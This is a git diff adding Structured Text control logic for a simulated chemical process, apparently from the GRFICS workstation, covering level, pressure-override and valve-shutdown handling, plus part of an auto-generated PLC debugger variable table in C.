VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set : UINT; + a_setpoint : UINT; + pressure_sp : UINT; + override_sp : UINT; + level_sp : UINT; + END_VAR + VAR + composition_control0 : composition_control; + END_VAR + VAR + f1_valve_pos : UINT; + f1_flow : UINT; + f2_valve_pos : UINT; + f2_flow : UINT; + purge_valve_pos : UINT; + purge_flow : UINT; + product_valve_pos : UINT; + product_flow : UINT; + pressure : UINT; + level : UINT; + a_in_purge : UINT; + b_in_purge : UINT; + c_in_purge : UINT; + f1_valve_sp : UINT; + f2_valve_sp : UINT; + purge_valve_sp : UINT; + product_valve_sp : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure : INT; + hmi_level : INT; + hmi_f1_valve_pos : INT; + hmi_f1_flow : INT; + hmi_f2_valve_pos : INT; + hmi_f2_flow : INT; + hmi_purge_valve_pos : INT; + hmi_purge_flow : INT; + hmi_product_valve_pos : INT; + hmi_product_flow : INT; + scan_count : UINT; + END_VAR + VAR + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + MOVE99_ENO : BOOL; + MOVE99_OUT : UINT; + MOVE4_ENO : BOOL; + MOVE4_OUT : UINT; + MOVE5_ENO : BOOL; + MOVE5_OUT : UINT; + MOVE7_ENO : BOOL; + MOVE7_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + MOVE99_OUT := MOVE(EN := run_bit, IN := 0, ENO => MOVE99_ENO); + IF MOVE99_ENO THEN + f1_valve_sp := MOVE99_OUT; + END_IF; + MOVE4_OUT := MOVE(EN := MOVE99_ENO, IN := 0, ENO => MOVE4_ENO); + IF MOVE4_ENO THEN + f2_valve_sp := MOVE4_OUT; + END_IF; + MOVE5_OUT := MOVE(EN := MOVE4_ENO, IN := 65535, ENO => MOVE5_ENO); + IF MOVE5_ENO THEN + purge_valve_sp := MOVE5_OUT; + END_IF; + MOVE7_OUT := MOVE(EN := MOVE5_ENO, IN := 65535, ENO => MOVE7_ENO); + IF MOVE7_ENO THEN + product_valve_sp := MOVE7_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.c new file mode 100644 index 0000000..a53d9ea --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.c @@ -0,0 +1,730 @@ +/* + * DEBUGGER code + * + * On "publish", when buffer is free, debugger stores arbitrary variables + * content into, and mark this buffer as filled + * + * + * Buffer content is read asynchronously, (from non real time part), + * and then buffer marked free again. + * + * + * */ +#ifdef TARGET_DEBUG_AND_RETAIN_DISABLE + +void __init_debug (void){} +void __cleanup_debug (void){} +void __retrieve_debug(void){} +void __publish_debug (void){} + +#else + +#include "iec_types_all.h" +#include "POUS.h" +/*for memcpy*/ +#include +#include + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define BUFFER_SIZE 1029 + +/* Atomically accessed variable for buffer state */ +#define BUFFER_FREE 0 +#define BUFFER_BUSY 1 +static long buffer_state = BUFFER_FREE; + +/* The buffer itself */ +char debug_buffer[BUFFER_SIZE]; + +/* Buffer's cursor*/ +static char* buffer_cursor = debug_buffer; +#endif + +static unsigned int retain_offset = 0; +/*** + * Declare programs + **/ +extern MAIN RES0__INSTANCE0; + +/*** + * Declare global variables from resources and conf + **/ +extern MAIN RES0__INSTANCE0; + +typedef const struct { + void *ptr; + __IEC_types_enum type; +} dbgvardsc_t; + +static dbgvardsc_t dbgvardsc[] = { +{&(RES0__INSTANCE0.FLOW_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_K), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TD), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SUB59_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ADD58_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FIRST_RUN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_SET), UINT_ENUM}, +{&(RES0__INSTANCE0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.B_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.C_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, 